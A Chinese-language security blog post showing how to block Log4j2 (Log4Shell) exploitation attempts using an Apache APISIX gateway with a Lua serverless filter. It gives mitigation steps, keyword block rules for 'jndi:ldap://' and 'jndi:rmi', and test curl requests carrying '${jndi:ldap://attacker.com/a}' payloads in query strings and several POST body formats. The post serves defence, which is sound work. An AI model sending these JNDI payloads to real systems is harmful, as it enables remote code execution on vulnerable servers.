安全技术

基于Apache APISIX网关拦截Log4j2漏洞

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此处为开源. 帮助改进.

0x01 漏洞背景

近期Log4j引起的安全问题, 很受到业界关注。Log4j作为Java生态中广泛使用的日志组件,被很多的Java软件系统使用依赖。例如:Apache Struts2、大数据分析系统Flink、ElasticSearch数据库等等, 这个列表,随着时间的迁移,与Log4j2相关的软件使列表项目还会增加。

当前业界给出的应急方案中,通过修改JVM参数和设置环境变量化的方式,可作为应急的临时方案解决燃眉之急,但后续依然需要持续的定位资产,并判断危害影响范围。

业界的方案,如下:

Log4j 漏洞情况
漏洞危害:高危、远程代码执行 
影响版本:Log4j2.x<=2.14.1
不受影响版本:Apache log4j-2.15.0-rc1
Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。
影响范围 
可能的受影响应用包括但不限于如下:
Spring-Boot-strater-log4j2,Apache Struts2,Apache Solr,Apache Flink,Apache Druid,ElasticSearch,flume,dubbo,Redis,logstash,kafka。
更多组件可参考如下链接:
https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/usages?p=1
受影响的产品:正在核查当中。
应对措施:
1、waf等可阻断安全设备中添加拦截规则,关键字为“jndi:ldap://”、“jndi:rmi”;
2、流量监测设备监控是否有相关 Dnslog 域名的请求以及数据包中有“jndi:ldap://”、“jndi:rmi”特征的数据包,定位受害资产,进行应急处置。
3、在log4j2.ini配置中可以设置log4j2formatMsgNoLookups=True,禁止解析JDNI
4、系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
5、Jvm运行参数-Dlog4j2.formatMsgNoLookups=true
6、补丁链接:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1
检测方案
1、由于攻击者在攻击过程中可能使用 dnslog 进行漏洞探测,因此可以通过流量监测设备监控是否有相关 Dnslog 域名的请求,来检测受攻击行为;
2. 可以通过监测相关流量或者日志中是否存在“jndi:ldap://”、“jndi:rmi”等字符来发现可能的攻击行
为。
3、排查gitlab pom代码jar包和器镜像jar包
4、使用HIDS 进行进程和路径jar包检查
5、使用awvs+jndi payload进行批量化检测

流量检测系统:创建规则完成威胁检查,可以基于Http协议层面的数据检索,通过漏洞的特征,创建检查规则,并进行漏洞预警。

HIDS系统:基于HIDS系统拉取资产信息,定位到Log4j的影响资产范围。

WAF系统:基于WAF系统对威胁特征字符串,创建拦截策略进行发现拦截,接下来,我们将针于类WAF的方式,给出基于一种,基于开源软件平台的应急解决方案。

0x02 Apache APISIX开源网关

Apache APISIX作为一个动态、实时的高性能网关系统同时,也提供了一种发现Log4j问题,并快速进行拦截的机制, 基于这个机制,提供了一种应急方案的可能。

Apacahe APISIX在这次安全应急场景中,有几个特点: 网关部署快、创建策略快,修整拦截策略快。

0x03 Apache APISIX的安装:

使用Docker快速安装APISIX。

安装Apache APISIX

APISIX需要依赖其他软件,为了快速部署使用All in one的部署方案。

docker run -d \
-p 9080:9080 -p 9091:9091 -p 2379:2379 \
-v `pwd`/all-in-one/apisix/config.yaml:/usr/local/apisix/conf/config.yaml \
apache/apisix:whole

安装Apache APISIX Dashboard。

docker run -d \
-p 19080:9080 -p 19091:9091 -p 12379:2379 -p 19000:9000 \
-v `pwd`/all-in-one/apisix/config.yaml:/usr/local/apisix/conf/config.yaml \
-v `pwd`/all-in-one/apisix-dashboard/conf.yaml:/usr/local/apisix-dashboard/conf/conf.yaml \
apache/apisix-dashboard:whole

以上Docker安装方式,供参考,可以根据实际的测试与生产环境情况进行调整 。

0x04 拦截特征

Log4j漏洞在应急的过程中,针对应急方案,白帽子也创造了新的绕过的方案,针对绕过需要动态的更新拦截策略。使用Apache APISIX应急,相当于快速在自己的环境中,创建了一个类WAF防火墙系统,这个系统区别于传统的WAF防火墙,但确实现了WAF系统核心的威胁发现拦截功能,基于关键字:“jndi:ldap://”、”jndi:rmi”, 作为定位特征,进行定位与拦截。

如果后续,产生了新的绕过方案,大家可以用Apache APISIX,提供的这种动态创建策略的机制,快速进行策略的调整 ,就是调整函数。

Log4j作为一个历史悠久的日志服务组件的,与其依赖的软件系统群多,在没有彻底升级解决所有相关资产之前,Apache APISIX让大家多了一种快速应急的选择。

0x05 应急策略创建

Apache APISIX是要针对关键字进行定位拦击,关键字是:jndi:ldap:。 而实现这个拦截动作功能,是由APISIX的serverless插件完成。

所谓快速动态的应急特点,在于创建拦截应急策略, 只需要基于插件快速注册执行一个可执行脚本函数即可,完成了这个函的定义实现,也就完成了拦截策略的实现,如下:

$ curl http://127.0.0.1:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '

{

 "uri": "/*",

 "plugins":{

 "serverless-pre-function":{

 "phase":"rewrite",

 "functions":[

 "return function(conf, ctx) local core = require(\"apisix.core\"); local payload, err = core.request.get_body(); if not payload then local uri_args, err = core.request.get_uri_args(ctx)\n if uri_args then payload = core.json.encode(uri_args, true) end; end; local m = ngx.re.match(payload, \"jndi:ldap:\", \"jo\"); if m then ngx.exit(401) end; end"

 ]

 }

 },

 "upstream": {

 "type": "roundrobin",

 "nodes": {

 "127.0.0.1:1980": 1

 }

 }

}'

整体策略实现的核心就是这个Lua函数有,函数的处理过程,分三步:

  1. 提取请求负载(包括 GET 请求的 URL 传参方式和 POST/PUT 请求体传参方式)
  2. 正则匹配恶意负载
  3. 拦截携带恶意负载的请求

0x06 应急策略验证

GET方法拦截

拦截在 GET 请求参数中携带恶意负载

$ curl -I 'http://127.0.0.1:9080/hello?foo=${jndi:ldap://attacker.com/a}'

HTTP/1.1 401 Unauthorized

……

POST方法请求拦截

拦截在 POST 请求体(application/json)中携带恶意负载

$ curl -i 'http://127.0.0.1:9080/hello' -H 'Content-Type: application/json' -X POST -d '

{

 "foo": "${jndi:ldap://attacker.com/a}"

}'

HTTP/1.1 401 Unauthorized

……

Body text/plain请求拦截

拦截在 POST 请求体(text/plain)中携带恶意负载

curl -i 'http://127.0.0.1:9080/hello' -H 'Content-Type: text/plain' -X POST -d '

${jndi:ldap://attacker.com/a}'

HTTP/1.1 401 Unauthorized

……

Body application/x-www-form-urlencoded请求拦截

拦截在 POST 请求体(application/x-www-form-urlencoded,不对请求体进行 URL 编码)中携带恶意负载

curl -i 'http://127.0.0.1:9080/hello' -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d '

foo=${jndi:ldap://attacker.com/a}'

HTTP/1.1 401 Unauthorized

……

0x07 总结

Log4j漏洞的特殊性,造成应急涉及的资产多,确认范围大、应急时间紧,需要一个快速的应急方案,去缓解这种局面,在资产未全部妥善升级之前,在新的绕过方法产生变化过程中,可快速的调整防护策略。开源社区中Apahce APISIX软件平台,基于快速部署、及灵活动态性功能特点, 为当前Log4j2这种应急场景,提供了一种新的解决方向,虽然本身Apache APISIX网关平台,不是单纯的WAF系统,但确可以担当WAF防火墙的漏洞拦截的功能角色。

参考

https://github.com/apache/apisix

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